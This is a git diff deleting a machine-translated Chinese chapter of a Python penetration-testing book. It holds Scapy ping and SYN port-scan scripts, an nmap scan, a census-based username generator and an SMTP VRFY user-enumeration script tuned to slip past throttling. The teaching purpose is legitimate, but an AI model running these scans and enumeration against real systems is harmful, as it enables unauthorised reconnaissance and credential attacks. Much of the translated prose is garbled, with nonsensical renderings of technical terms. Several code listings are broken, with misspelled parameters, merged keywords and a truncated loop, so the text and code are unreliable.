层头。这可以使用`Ether()`方法来表示以太网帧头。这对于使用**虚拟局域网****VLAN**基于理论安全性对网络进行分段的无线网络或位置非常有用。这是因为无线通信在第 2 层运行,VLAN 也在该层中标识。 - -### 注 - -基于 VLAN 的**访问控制列表****ACL**被大多数评估人员认为是令人烦恼的原因,而不是安全性。这是因为在大多数网络中,您可以通过操纵第 2 层帧的标头轻松跳过网络段。随着您获得更多经验,您将定期在实时网络上看到此类示例。 - -因此,导入 Scapy 库,然后设置一个带有要 ping 的目标 IP 地址的变量。创建包含要发送到目标主机的通信详细信息和标志的数据包。然后设置响应变量捕捉`sr1()`函数的结果: - -``` -#!/usr/bin/env python -try: - from scapy.all import * -except: - sys.exit("[!] Install the scapy libraries with: pip install - scapy") -ip = "192.168.195.2" -icmp = IP(dst=ip)/ICMP() -resp = sr1(icmp, timout=10) -``` - -![The Scapy library for Python](graphics/B04315_03_17.jpg) - -现在您看到您得到了一个答案,这意味着主机很可能已启动。您可以通过以下测试对其进行验证: - -``` -if resp == None: - print("The host is down") -else: - print("The host is up") -``` - -测试时,您可以看到 ping 扫描的结果是成功的,如下所示: - -![The Scapy library for Python](graphics/B04315_03_18.jpg) - -我们成功地 ping 了主机,并通过证明响应变量不是空的来验证它。从这里,我们现在可以检查它是否有打开的 web 端口。为此,我们将执行 SYN 扫描。但是,在执行此操作之前,请了解,当您收到连接尝试的响应时,您将同时收到应答和未应答的数据。因此,最好的办法是将两者分开,多亏了 Scapy 和 Python 语法,这非常容易。您只需将响应传递给两个不同的变量,第一个是答案,第二个是未答案,如下所示: - -``` -answers,unanswers = sr1(icmp, timout=10) -``` - -通过这个简单的更改,您现在可以清理数据返回,以便于操作。此外,您只需在`answers`或`unanswers`后添加`.summary()`即可从这些细节中获得摘要。如果您正在迭代从`0`到`1024`的端口列表,您可以通过在列表中按位置将值传递给`answers`变量来查看特定端口的特定结果。因此,如果您想查看端口`80`处扫描的结果以获得答案,可以将该值传递到如下列表:`answers[80]`。这将保存这些应答的已发送和已接收数据包,但这些数据包可以进一步拆分,就像前面的示例一样,如下代码所示: - -``` -sent, received = answers[80] -``` - -请记住,此示例仅适用于端口`80`,因为您指定了要从中提取数据的位置。如果您没有将位置值传递给`answers`变量,那么您会将所有发送的数据包放入`sent`变量,将所有接收的数据包放入`received`变量。 - -现在已经列出了基本知识,您可以开发一个数据包,将其发送到目标,并接收结果。在继续之前,需要介绍的一件事是从头开始构建数据包是多么容易,这涉及到首先构建 IP 报头,然后构建 TCP 报头。接下来,将数据传递给扫描仪,扫描仪将目标标识为活动或不活动。您可以将其配置为没有超时值,但我强烈建议您不要这样做,因为您可能需要永远等待,无法返回。运行以下脚本以识别`192.168.195.1`主机并确定 web 端口是否打开: - -``` -#!/usr/bin/env python -from scapy.all import * -ip = "192.168.195.1" -dst_port = 80 -headers=IP(dst=ip)/TCP(dport=dst_port, flags="S") -answers,unanswers=sr(headers,timeout=10) - -``` - -正如您在下面的屏幕截图中所看到的,系统给出了答案。前面的脚本可以独立运行,也可以使用交互式解释器执行每一行,如下所示: - -![The Scapy library for Python](graphics/B04315_03_19.jpg) - -现在可以从`answers`变量中提取细节。请记住,这是一个列表,因此您应该增加每个值。发送的第一个数据包将由位置 0 表示,因此该位置之后的每个位置表示在原始数据包之后接收的 IP 数据包: - -``` -for a in answers: - print(a[1][1].flags) -``` - -这就是问题所在,尽管列表中的每个值实际上是另一个列表,其中包含更多数据。在 Python 中,我们称之为矩阵,但不要担心!它很容易导航。首先,请记住我们使用了`sr()`函数,这意味着结果将来自第 3 层及以上。每个嵌入式列表用于上面的协议;在这种情况下,它将是 TCP。我们执行了 SYN 扫描,因此我们正在寻找 SYN+ACK 响应。请参阅上一节以计算您要查找的值。通过参考前面与 TCP 标志相关的部分,您可以看到,您在报头中寻找的值是 18,用于验证 SYN+ACK 响应,这可以通过将`ACK = 16`的位置值和`SYN = 2`的位置值相加来计算。下面的屏幕截图显示了实际结果,显示端口已打开。理解这些概念将允许您在将来的脚本中使用 Scapy。 - -![The Scapy library for Python](graphics/B04315_03_21.jpg) - -你现在已经对 Scapy 有了基本的了解,但别担心!你还没做完呢。Scapy 具有大量的功能,我们仅对此进行了介绍,它不仅为您提供了执行简单扫描的方法,还为您提供了操纵网络流量的方法。许多嵌入式设备和**工控系统**(**ICS**采用独特的通信形式,为其他单元提供命令和控制。在其他时候,您会意识到,当 nmap 被阻止时,您需要识别活动设备。Scapy 可以帮助您完成所有这些任务。 - -# 总结 - -在本章中,将介绍有关识别网络上的活动主机、可行目标和不同通信模型的许多详细信息。为了便于您理解协议及其通信方式,我们在数据包和帧级别讨论了它们的不同形式。本章以使用支持目标标识的 Python`nmap`和`Scapy`库自动利用主机而告终。在下一章中,我们将以这些概念为基础,了解如何利用字典、暴力和密码喷射攻击来利用服务。 \ No newline at end of file diff --git a/trans/py-pentest-dev/04.md b/trans/py-pentest-dev/04.md deleted file mode 100644 index f705feb..0000000 --- a/trans/py-pentest-dev/04.md +++ /dev/null @@ -1,576 +0,0 @@ -# 第四章,用 Python 执行凭证攻击 - -有多种形式的凭证攻击,但通常情况下,它们被视为渗透测试中的最后一步,而其他一切都失败了。这是因为大多数新的评估员以错误的方式进行评估。在讨论全新的评估员使用什么进行凭据攻击时,最常见的两种攻击是在线字典攻击和暴力攻击。他们通过下载包含密码和广泛用户名列表的巨大单词列表并在接口上运行来执行凭据攻击。当攻击失败时,评估员跟进并执行暴力攻击。 - -此攻击使用相同的用户名列表或超级用户(root)或本地管理员帐户。大多数情况下,这也会失败,因此最终字典攻击会受到不好的批评,并移动到约定的末尾。这是非常错误的,因为在大多数约会中,尤其是在面对互联网的姿势中,如果操作正确,凭证攻击将让您访问。[第 1 章](01.html "Chapter 1. Understanding the Penetration Testing Methodology")、*理解渗透测试方法*和[第 3 章](03.html "Chapter 3. Identifying Targets with Nmap, Scapy, and Python")、*使用 Nmap、Scapy 和 Python 识别目标*介绍了一些基本的字典攻击概念,本章将以它们为基础,帮助您理解如何以及何时使用它们。在我们开始了解如何执行这些攻击之前,您需要对攻击类型有一个明确的了解。 - -# 凭证攻击的类型 - -在讨论凭证攻击时,会立即被密码攻击所吸引。请记住,对资源的身份验证和授权通常需要两个组件:密码和用户名。如果你不知道密码所属的用户名,拥有世界上使用最广泛的密码对你没有好处。因此,凭证攻击是我们使用用户名和密码评估资源的方式。稍后将介绍有针对性的用户名来源,但目前我们必须定义在线和离线密码攻击的主要类型。 - -## 定义在线凭证攻击 - -在线凭证攻击是指当您针对接口或资源进行强制身份验证时所进行的攻击。这意味着您可能不知道用户名和/或密码,并且正在尝试确定授予您访问权限的正确信息。这些攻击是在您无法访问可为您提供哈希、明文密码或其他受保护形式数据的资源时执行的。相反,您正试图根据您所做的研究对资源进行有根据的猜测。在线攻击的类型包括字典攻击、暴力攻击和密码喷射攻击。请记住,资源可以是联邦或集中式系统的一部分,如**Active Directory**(**AD**)或主机本身的本地帐户。 - -### 提示 - -为你尖叫混合动力车呢?大多数评估者认为这是一种字典攻击形式,因为它只是一个排列的单词列表。今天,你很少能找到一本字典不包含混合词。在 20 世纪 90 年代,这种情况更为罕见,但随着教育水平的提高和更强大的密码要求系统的完善,这种情况已经发生了改变。 - -## 定义离线凭证攻击 - -脱机凭证攻击是指您已经破解了资源并提取了散列等数据,现在正试图猜测这些数据。这可以通过多种方式完成,具体取决于哈希类型和可用的资源,一些示例包括脱机字典、基于规则的攻击、暴力或彩虹表攻击。我们将这种脱机凭据攻击称为脱机密码攻击而不是脱机密码攻击的原因之一,是因为您试图猜测密码的明文版本不是源于系统。 - -这些密码散列可能已经用随机信息或已知组件(如用户名)进行了 salt,以创建 salt。因此,您可能仍然需要知道用户名才能破解哈希,因为 salt 是增加随机性的一个组成部分。现在,我看到了一些使用用户名作为散列算法盐的实现,这是一个非常糟糕的想法。你会听到的论点是,这是一个好主意,它来自于这样一个事实,即 salt 与用户名一样使用密码存储,那么这又有什么关系呢?在破坏系统之前,已知的用户名在 root、administrator 和 admin 等系统中广泛使用,并且已知的加密方法会打开一个主要漏洞。 - -这意味着 salt 基于用户名,意味着在访问环境之前和参与开始之前就知道了。因此,这意味着,您已经有效地击败了使破解密码更难包括使用 rainbow 表的机制。如果您有一个可以处理数据的工具,那么在订婚之前让 salt 被知晓意味着彩虹表对于 salt 密码同样有用。 - -### 提示 - -糟糕的 satting 方法和自定义加密方法可能会使组织面临妥协。 - -离线攻击的前提是使用相同的保护方法,获取一个单词并创建与受保护的密码相同格式的哈希。如果受保护的值与新创建的值相同,则您有一个等效的字并授予访问权限。大多数密码保护方法使用散列来隐藏值,这是一个单向函数,或者换句话说,它不能是单向函数,因此无法反转该方法以生成原始值。 - -因此,当系统通过其身份验证方法接受密码时,它会使用相同的方法对密码进行散列,并将存储的散列值与新计算的散列值进行比较。如果它们彼此相等,则您可以合理地保证密码相同,并且将授予访问权限。合理的级别保证取决于哈希算法的强度。一些散列算法被认为是弱的或坏的,例如**消息摘要 5**(**MD5**)和**安全散列算法 1**(**SHA-1**)。原因是它们容易受到碰撞的影响。 - -冲突意味着它所保护的数据的数学可能性没有足够的熵来保证不同的散列值不等于相同的值。事实上,两个完全不同的单词被同一个断开的算法散列,可能会产生相同的散列值。因此,这直接影响系统身份验证方法。 - -当有人访问系统时,密码输入将以与存储在系统上的密码相同的方法进行散列。如果两个值匹配,这意味着密码理论上是相同的,除非散列算法很弱。因此,在评估系统时,您只需找到一个与原始值创建相同哈希的值。如果发生这种情况,您将被授予访问系统的权限,这就是已知冲突的哈希的弱点所在。您不需要知道创建散列的实际值,只需要知道将创建相同散列的等效值。 - -### 提示 - -在撰写本文时,MD5 用于验证文件系统和数据的完整性,以便进行取证。即使 MD5 被认为是一个坏的散列,它仍然被认为是足够好的取证和文件系统完整性。这样做的原因是,要用大量的数据集(如文件系统)来愚弄算法,将需要不可行的工作量。在数据被调整或提取后操作文件系统以创建相同的完整性标记是不现实的。 - -现在您已经了解了离线和在线凭证攻击的区别,我们需要开始生成用于它们的数据。首先生成用户名,然后将其作为组织的一部分进行验证。这似乎是一个很小的步骤,但它非常重要,因为它可以减少您的目标列表,减少您产生的噪音,并提高您损害组织的机会。 - -# 识别目标 - -我们将使用 Metasploitable 作为示例,因为它将允许您在安全合法的环境中测试这些概念。首先,让我们使用服务检测对系统进行简单的`nmap`扫描。下面的命令突出显示了特定的参数和选项,它执行 SYN 扫描以查找系统上的已知端口。 - -``` -nmap -sS -vvv -Pn -sV - -``` - -从结果中可以看出,主机被标识为 Metasploitable,并且在端口 25 处打开了许多端口,包括**简单邮件传输协议**(**SMTP**)。 - -![Identifying the target](graphics/B04315_04_01.jpg) - -# 创建目标用户名 - -当以组织为目标时,尤其是在周边地区,最简单的方法是妥协账户。这意味着您至少可以获得此人的基本访问权限,并且可以找到提升权限的方法。要做到这一点,您需要为组织识别真实的用户名。实现这一点的多种方法包括通过[等网站对为该组织工作的人员进行调查 http://www.data.com/](http://www.data.com/) 、[https://www.facebook.com/](https://www.facebook.com/) 、[https://www.linkedin.com/hp/](https://www.linkedin.com/hp/) 和[http://vault.com/](http://vault.com/) 。您可以使用类似于`Harvester.py`和`Recon-ng`的工具来自动化其中的一些内容,这些工具可以提供互联网曝光和存储库。 - -这项初步研究很好,但与恶意参与者不同,您通常需要的时间是有限的。因此,您可以通过生成用户名来补充找到的数据,然后通过启用 VRFY 或 Finger 的 SMTP 等服务端口对其进行验证。如果您发现这些端口打开,特别是在目标组织的 Internet 上,我要做的第一件事就是验证我的用户名列表。这意味着我可以减少下一步的攻击列表,我们将在[第 5 章](05.html "Chapter 5. Exploiting Services with Python")*使用 Python*开发服务中介绍。 - -## 在美国人口普查局的帮助下生成和验证用户名 - -多年来,美国政府和其他国家都在调查各国民众的详细情况。这些信息可供守法公民以及恶意行为者使用。这些细节可以用于任何事情,从社会工程攻击,销售研究,甚至电话营销。有些细节比其他更难找到,但我们最喜欢的是姓氏列表。这份名单产生于 2000 年,为我们提供了美国人口中排名前 1000 位的姓氏。 - -如果您曾经查看过大多数组织用户名的组成部分,那么它是他们名字的第一个字母和整个姓氏。当这两个组件组合在一起时,它将创建一个用户名。使用美国人口普查前 1000 名名单,我们可以通过下载名单、提取姓氏并在字母表中的每个字母前加前缀,为每个姓氏创建 26 个用户名,从而欺骗创建方法。这一过程将产生 26000 个用户名的列表,其中不包括公开来源信息的详细信息。 - -当您结合搜索社交媒体创建的用户名列表,并使用工具识别电子邮件地址时,您可能会有一个大量的列表。所以你需要把它剪下来。在本例中,我们将向您展示如何使用 Python 从 Excel 电子表格中提取详细信息,然后根据运行 VRFY 的 SMTP 服务验证由其他列表创建和组合的用户名。 - -### 提示 - -西化的政府通常会列出类似的清单,因此请确保您查看您试图评估和使用与组织所在地相关的信息的位置。除此之外,美国领土、阿拉斯加和夏威夷等州的姓氏与美国大陆其他州的姓氏大不相同。请列出您的姓氏列表,以弥补这些差异。 - -## 生成用户名 - -流程的第一步是下载 excel 电子表格,可在[中找到 http://www.census.gov/topics/population/genealogy/data/2000_surnames.html](http://www.census.gov/topics/population/genealogy/data/2000_surnames.html) 。您可以使用`wget`直接从控制台下载具体文件,如下图所示。记住,你应该只下载文件;除非获得许可,否则不要评估组织或网站。以下命令相当于访问站点并单击链接下载文件: - -``` -wget http://www2.census.gov/topics/genealogy/2000surnames/Top1000.xls - -``` - -现在打开 Excel 文件,看看它是如何格式化的,这样我们就知道如何开发脚本来提取细节。 - -![Generating the usernames](graphics/B04315_04_02.jpg) - -如您所见,共有 11 列定义了电子表格的功能。我们关心的两个问题是姓名和级别。名称是我们将创建用户名列表的姓氏,排名是美国的发生顺序。在我们构建解析人口普查文件的函数之前,我们需要开发一种将数据输入脚本的方法。 - -`argparser`库允许您快速有效地开发命令行选项和参数。`xlrd`库将用于分析 Excel 电子表格,字符串库将用于开发字母字符列表。`os`库将确认运行脚本所使用的**操作系统**(**操作系统**),因此可以在内部处理文件名格式设置。最后,集合库将提供组织从 Excel 电子表格中提取的内存中的数据的方法。唯一不是 Python 实例本机的库是`xlrd`库,它可以与`pip`一起安装。 - -``` -#!/usr/bin/env python -import sys, string, argparse, os -from collections import namedtuple -try: - import xlrd -except: - sys.exit("[!] Please install the xlrd library: pip install xlrd") -``` - -现在您已经有了库,现在可以构建函数来完成这项工作。该脚本还包括增加或减少详细程度的功能。这是一个相对容易包含的特性,通过将 verbose 变量设置为整数值来实现;值越高,越详细。默认值为 1,最多支持值 3。任何超过此值的内容都将被视为 3。此函数也将接受正在传递的文件名,因为您永远不知道它将来可能会更改。 - -我们将使用一种称为命名元组的元组形式来接受电子表格的每一行。命名元组允许您根据坐标或字段名引用详细信息,具体取决于它的定义方式。正如您所猜测的,这非常适合电子表格或数据库数据。为了使这对我们来说更容易,我们将以与电子表格相同的方式来定义它。 - -``` -defcensus_parser(filename, verbose): - # Create the named tuple - CensusTuple = namedtuple('Census', 'name, rank, count, prop100k, cum_prop100k, pctwhite, pctblack, pctapi, pctaian, pct2prace, pcthispanic') -``` - -现在,开发变量来保存工作簿、电子表格的名称以及电子表格的总行和初始行。 - -``` - worksheet_name = "top1000" - #Define work book and work sheet variables - workbook = xlrd.open_workbook(filename) - spreadsheet = workbook.sheet_by_name(worksheet_name) - total_rows = spreadsheet.nrows - 1 - current_row = -1 -``` - -然后,开发初始变量以保存结果值和实际字母表。 - -``` - # Define holder for details - username_dict = {} - surname_dict = {} - alphabet = list(string.ascii_lowercase) -``` - -接下来,将迭代电子表格的每一行。`surname_dict`保存来自电子表格单元格的原始数据。`username_dict`将保存用户名和转换为字符串的排名。每次在秩值中未检测到一个点时,表示该值不是一个`float`,因此为空。这意味着行本身不包含实际数据,应该跳过它。 - -``` - while current_row 1: - print("[-] Eliminating table headers") - break - username = letter + str(cellname.value.lower()) - rank = str(cellrank.value) - username_dict[username] = rank -``` - -请记住,字典存储键引用的值,但没有顺序。所以我们可以做的是取字典中存储的值并按键排序,键是值或姓氏的等级。为此,我们将获取一个列表,并让它接受函数返回的排序细节。由于这是一个相对简单的函数,我们可以使用`lambda`创建一个无名函数,它在处理代码时使用可选的排序参数键来调用它。实际上,sorted 根据字典键为字典中的每个值创建一个有序列表。最后,如果将来需要,此函数将返回`username_list`和两个字典。 - -``` - username_list = sorted(username_dict, key=lambda key: username_dict[key]) - return(surname_dict, username_dict, username_list) -``` - -好消息是这是整个脚本中最复杂的函数。下一个函数是一个众所周知的设计,它接受列表并删除重复项。该函数使用列表理解,它减少了用于创建有序列表的简单循环的大小。函数中的此表达式可以写成以下形式: - -``` -for item in liste_sort: - if not noted.count(item): - noted.append(item) -``` - -为了减小此简单执行的大小并提高可读性,我们将其改为列表理解,如以下摘录所示: - -``` -defunique_list(list_sort, verbose): - noted = [] - if verbose > 0: - print("[*] Removing duplicates while maintaining order") - [noted.append(item) for item in list_sort if not noted.count(item)] # List comprehension - return noted -``` - -此脚本的目标之一是将来自其他来源的研究合并到包含用户名的同一文件中。用户可以传递一个文件,该文件可以预先添加或附加到普查文件输出的详细信息中。运行此脚本时,用户可以将文件作为前置值或附加值提供。脚本确定它是哪一个,然后在每一行中读取,从每个条目中剥离新行字符。然后,脚本确定是否需要将其添加到普查用户名列表的末尾或前面,并为`put_where`设置变量值。最后,返回`put_where`的列表和值。 - -``` -defusername_file_parser(prepend_file, append_file, verbose): - if prepend_file: - put_where = "begin" - filename = prepend_file - elif append_file: - put_where = "end" - filename = append_file - else: - sys.exit("[!] There was an error in processing the supplemental username list!") - with open(filename) as file: - lines = [line.rstrip('\n') for line in file] - if verbose > 1: - if "end" in put_where: - print("[*] Appending %d entries to the username list") % (len(lines)) - else: - print("[*] Prepending %d entries to the username list") % (len(lines)) - return(lines, put_where) -``` - -所需要的只是一个将两个用户列表组合在一起的函数。此函数将使用一个简单的拆分在数据之前添加,该拆分将新用户列表粘贴在普查列表之前,或者使用扩展函数将数据添加到后面。然后,该函数将调用先前创建的函数,从而将非唯一值减少为唯一值。如果知道某个函数的密码锁定限制,然后多次调用同一个用户帐户,锁定该帐户,那就不好了。返回的最后一项是新的组合用户名列表。 - -``` -defcombine_usernames(supplemental_list, put_where, username_list, verbose): - if "begin" in put_where: - username_list[:0] = supplemental_list #Prepend with a slice - if "end" in put_where: - username_list.extend(supplemental_list) - username_list = unique_list(username_list, verbose) - return(username_list) -``` - -此脚本中的最后一个函数将详细信息写入文件。为了进一步改进此脚本的功能,我们可以创建两种不同类型的用户名文件:一种包括域(如电子邮件地址)和另一种标准用户名列表。域的补充用户名列表将被视为可选。 - -此函数根据需要删除文件的内容,并遍历列表。如果列表是一个域列表,则在将其写入文件时,只需将`@`和域名应用于每个用户名。 - -``` -defwrite_username_file(username_list, filename, domain, verbose): - open(filename, 'w').close() #Delete contents of file name - if domain: - domain_filename = filename + "_" + domain - email_list = [] - open(domain_filename, 'w').close() - if verbose > 1: - print("[*] Writing to %s") % (filename) - with open(filename, 'w') as file: - file.write('\n'.join(username_list)) - if domain: - if verbose > 1: - print("[*] Writing domain supported list to %s") % (domain_filename) - for line in username_list: - email_address = line + "@" + domain - email_list.append(email_address) - with open(domain_filename, 'w') as file: - file.write('\n'.join(email_list)) - return -``` - -现在已经定义了函数,我们可以开发脚本的主要部分,并适当地引入参数和选项。 - -### 注 - -`argparse`库取代了`optparse`库,后者提供了类似的功能。应该注意的是,这个库很好地解决了脚本语言中与选项和参数相关的许多弱点。 - -`argparse`库为您提供了设置短选项和长选项的能力,这些选项可以接受`types`定义的许多值。然后,这些变量将显示在您用`dest`定义的变量中。 - -这些参数中的每一个都可以具有使用 action 参数定义的特定功能,以包括值存储、计数和其他功能。此外,这些参数中的每一个都可以根据需要使用`default`参数设置`default`值。另一个有用的特性是`help`参数,它提供使用反馈并改进文档。我们不会使用我们在每次订婚或每天创建的每个脚本。有关如何为`census`文件添加参数,请参见以下示例。 - -``` -parser.add_argument("-c", "--census", type=str, help="The census file that will be used to create usernames, this can be retrieved like so:\n wget http://www2.census.gov/topics/genealogy/2000surnames/Top1000.xls", action="store", dest="census_file") -``` - -理解了这些简单的功能后,我们就可以开发传递给脚本的参数的需求。首先,我们验证这是主函数的一部分,然后将`argeparse`实例化为解析器。simple usage 语句显示了执行脚本需要调用什么。`%(prog)s`在功能上等同于在`argv`中放置`0`,因为它代表脚本名称。 - -``` -if __name__ == '__main__': - # If script is executed at the CLI - usage = '''usage: %(prog)s [-c census.xlsx] [-f output_filename] [-a append_filename] [-p prepend_filename] [-ddomain_name] -q -v -vv -vvv''' - parser = argparse.ArgumentParser(usage=usage) -``` - -现在我们已经在解析器中定义了实例,我们需要将每个参数添加到解析器中。然后,我们定义变量`args`,它将保存每个存储参数或选项的公共引用值。 - -``` - parser.add_argument("-c", "--census", type=str, help="The census file that will be used to create usernames, this can be retrieved like so:\n wget http://www2.census.gov/topics/genealogy/2000surnames/Top1000.xls", action="store", dest="census_file") - parser.add_argument("-f", "--filename", type=str, help="Filename for output the usernames", action="store", dest="filename") - parser.add_argument("-a","--append", type=str, action="store", help="A username list to append to the list generated from the census", dest="append_file") - parser.add_argument("-p","--prepend", type=str, action="store", help="A username list to prepend to the list generated from the census", dest="prepend_file") - parser.add_argument("-d","--domain", type=str, action="store", help="The domain to append to usernames", dest="domain_name") - parser.add_argument("-v", action="count", dest="verbose", default=1, help="Verbosity level, defaults to one, this outputs each command and result") - parser.add_argument("-q", action="store_const", dest="verbose", const=0, help="Sets the results to be quiet") - parser.add_argument('--version', action='version', version='%(prog)s 0.42b') - args = parser.parse_args() -``` - -定义了参数后,您将需要验证这些参数是否由用户设置,以及它们是否易于通过脚本引用。 - -``` - # Set Constructors - census_file = args.census_file # Census - filename = args.filename # Filename for outputs - verbose = args.verbose # Verbosity level - append_file = args.append_file # Filename for the appending usernames to the output file - prepend_file = args.prepend_file # Filename to prepend to the usernames to the output file - domain_name = args.domain_name # The name of the domain to be appended to the username list - dir = os.getcwd() # Get current working directory - # Argument Validator - if len(sys.argv)==1: - parser.print_help() - sys.exit(1) - if append_file and prepend_file: - sys.exit("[!] Please select either prepend or append for a file not both") -``` - -与参数验证器类似,您需要确保设置了输出文件。如果未设置,则可以根据需要使用默认值。您将希望不依赖操作系统,因此需要将其设置为在 Linux/UNIX 系统或 Windows 系统中运行。最简单的确定方法是通过`\`或`/`的方向。记住,`\`是用来转义脚本中的字符的,所以一定要放两个来抵消效果。 - -``` - if not filename: - if os.name != "nt": - filename = dir + "/census_username_list" - else: - filename = dir + "\\census_username_list" - else: - if filename: - if "\\" or "/" in filename: - if verbose > 1: - print("[*] Using filename: %s") % (filename) - else: - if os.name != "nt": - filename = dir + "/" + filename - else: - filename = dir + "\\" + filename - if verbose > 1: - print("[*] Using filename: %s") % (filename) -``` - -其余需要定义的组件是调用函数时的工作变量。 - -``` - # Define working variables - sur_dict = {} - user_dict = {} - user_list = [] - sup_username = [] - target = [] - combined_users = [] -``` - -按照所有这些细节,您最终可以进入脚本的核心部分,即调用活动来创建用户名文件: - -``` - # Process census file - if not census_file: - sys.exit("[!] You did not provide a census file!") - else: - sur_dict, user_dict, user_list = census_parser(census_file, verbose) - # Process supplemental username file - if append_file or prepend_file: - sup_username, target = username_file_parser(prepend_file, append_file, verbose) - combined_users = combine_usernames(sup_username, target, user_list, verbose) - else: - combined_users = user_list - write_username_file(combined_users, filename, domain_name, verbose) -``` - -以下屏幕截图演示了脚本如何输出帮助文件: - -![Generating the usernames](graphics/B04315_04_03.jpg) - -在这里可以找到一个如何运行脚本和输出的示例,前面是一个带有用户名`msfadmin`的`username.lst`。 - -![Generating the usernames](graphics/B04315_04_04.jpg) - -### 提示 - -此脚本可从[下载 https://raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/username_generator.py](https://raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/username_generator.py) 。 - -我们有我们的用户名生成器,我们包括了名称`msfadmin`,因为我们已经对测试框 Metasploitable 做了一些初步研究。我们知道这是一个标准的默认帐户,我们将要验证它是否确实在系统中。当您最初扫描一个系统并确定打开的端口和服务,然后验证您准备攻击的内容时,这是研究的正常部分。该研究还应包括寻找违约账户和已知账户。 - -### 提示 - -在执行这些类型的攻击时,通常会排除诸如 root 之类的系统的内置帐户。在 Windows 系统上,仍应测试管理员帐户,因为该帐户可能会被重命名。首先,您还应该避免在双盲或红队练习期间测试 root 登录。这通常会引起安全管理人员的警惕。 - -# 对使用 SMTP VRFY 的用户进行测试 - -现在我们有了一个用户名列表,并且我们知道 SMTP 已打开,我们需要查看`VRFY`是否已启用。这非常简单,您只需将 telnet 连接到端口 25,然后执行命令`VRFY`,然后输入一个单词,然后按 enter 键。通过这种方式检查用户名的一个重要方面是,如果启用了`VRFY`,安全部署实践就会出问题,如果是面向 Internet 的,他们可能不会监控它。减少针对接口的在线凭据攻击中的凭据攻击猜测次数将减少被捕获的机会。执行此操作的简单命令如下图所示: - -![Testing for users using SMTP VRFY](graphics/B04315_04_05.jpg) - -我们没有得到史密斯的攻击,但也许其他人会在这次攻击中确认。在编写脚本之前,您需要了解大多数 SMTP 系统中可能产生的不同错误或控制消息。这些可能会有所不同,您应该充分设计脚本,以便针对该环境进行修改。 - - -| - -返回码 - - | - -意思 - - | -| --- | --- | -| 252 | 用户名在系统上。 | -| 550 | 用户名不在系统上。 | -| 503 | 该服务需要身份验证才能使用。 | -| 500 | 该服务不支持 VRFY。 | - -现在您已经知道了基本的代码响应,可以编写一个脚本来利用这个弱点。 - -### 注 - -您可能想知道,当 Metasploit 和其他工具已经为此内置了模块时,我们为什么要编写一个脚本来利用这一点。在许多系统上,这一弱点有特殊的超时和/或节流要求可利用。当您试图绕过这些障碍时,包含 Metasploit 模块的大多数其他工具都会失败,因此 Python 确实是您最好的答案。 - -## 创建 SMTP VRFY 脚本 - -由于 Meta SasPIT 和其他的 To0T0 攻击工具没有考虑到会话尝试的超时和每次尝试之间的延迟,所以我们需要考虑通过合并这些任务来使脚本更有用。如前所述,工具非常好,它们通常适合 80%的情况,但作为一名专业人员,意味着适应工具可能不适合的情况。 - -到目前为止,所使用的库已经很常见,但我们从[第 2 章](02.html "Chapter 2. The Basics of Python Scripting")、*Python 脚本基础知识*——用于网络接口控制和超时控制的套接字库中添加了一个。 - -``` -#/usr/bin/env python -import socket, time, argparse, os, sys -``` - -下一个函数将文件读入一个列表,用于测试用户名。 - -``` -defread_file(filename): - with open(filename) as file: - lines = file.read().splitlines() - return lines -``` - -接下来,修改`username_generator.py`脚本函数,将数据写入组合用户名文件。这将为有用的输出格式提供一个已确认的用户名列表。 - -``` -defwrite_username_file(username_list, filename, verbose): - open(filename, 'w').close() #Delete contents of file name - if verbose > 1: - print("[*] Writing to %s") % (filename) - with open(filename, 'w') as file: - file.write('\n'.join(username_list)) - return -``` - -最后一个函数也是最复杂的函数称为`verify_smtp`,它针对 SMTP`VRFY`漏洞验证用户名。首先,它加载从`read_file`函数返回的用户名,并确认参数数据。 - -``` -defverify_smtp(verbose, filename, ip, timeout_value, sleep_value, port=25): - if port is None: - port=int(25) - elif port is "": - port=int(25) - else: - port=int(port) - if verbose > 0: - print "[*] Connecting to %s on port %s to execute the test" % (ip, port) - valid_users=[] - username_list = read_file(filename) -``` - -然后,脚本从列表中取出每个用户名,并使用条件测试尝试在指定的 IP 和端口创建与系统的连接。我们在横幅连接时捕获它,使用用户名构建命令,然后发送命令。返回的数据存储在 results 变量中,该变量针对以前记录的响应代码进行测试。如果收到 252 响应,用户名将附加到`valid_users`列表中。 - -``` - for user in username_list: - try: - sys.stdout.flush() - s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) - s.settimeout(timeout_value) - connect=s.connect((ip,port)) - banner=s.recv(1024) - if verbose > 0: - print("[*] The system banner is: '%s'") % (str(banner)) - command='VRFY ' + user + '\n' - if verbose > 0: - print("[*] Executing: %s") % (command) - print("[*] Testing entry %s of %s") % (str(username_list.index(user)),str( len(username_list))) - s.send(command) - result=s.recv(1024) - if "252" in result: - valid_users.append(user) - if verbose > 1: - print("[+] Username %s is valid") % (user) - if "550" in result: - if verbose > 1: - print "[-] 550 Username does not exist" - if "503" in result: - print("[!] The server requires authentication") - break - if "500" in result: - print("[!] The VRFY command is not supported") - break -``` - -如果满足需要结束测试的条件,则设置特定的中断条件以使脚本相对优雅地结束。需要注意的是,每个用户名都有一个单独的正在建立的连接,以防止连接被打开太长时间,减少错误,并提高将来将该脚本制作成多线程脚本的可能性,如[第 10 章](10.html "Chapter 10. Adding Permanency to Python Tools")、*所述为 Python 工具*添加永久性。 - -该脚本的最后两个组件是异常错误处理,最后一个条件操作关闭连接,必要时延迟下一次执行并清除标准输出。 - -``` - except IOError as e: - if verbose > 1: - print("[!] The following error occured: '%s'") % (str(e)) - if 'Operation now in progress' in e: - print("[!] The connection to SMTP failed") - break - finally: - if valid_users and verbose > 0: - print("[+] %d User(s) are Valid" % (len(valid_users))) - elif verbose > 0 and not valid_users: - print("[!] No valid users were found") - s.close() - if sleep_value is not 0: - time.sleep(sleep_value) - sys.stdout.flush() - return valid_users -``` - -以前的许多脚本组件在这里被重用,它们只是为了新脚本而进行了调整。看一看,为自己确定不同的组件。然后了解如何将更改合并到未来的更改中。 - -``` -if __name__ == '__main__': - # If script is executed at the CLI - usage = '''usage: %(prog)s [-u username_file] [-f output_filename] [-iip address] [-p port_number] [-t timeout] [-s sleep] -q -v -vv -vvv''' - parser = argparse.ArgumentParser(usage=usage) - parser.add_argument("-u", "--usernames", type=str, help="The usernames that are to be read", action="store", dest="username_file") - parser.add_argument("-f", "--filename", type=str, help="Filename for output the confirmed usernames", action="store", dest="filename") - parser.add_argument("-i", "--ip", type=str, help="The IP address of the target system", action="store", dest="ip") - parser.add_argument("-p","--port", type=int, default=25, action="store", help="The port of the target system's SMTP service", 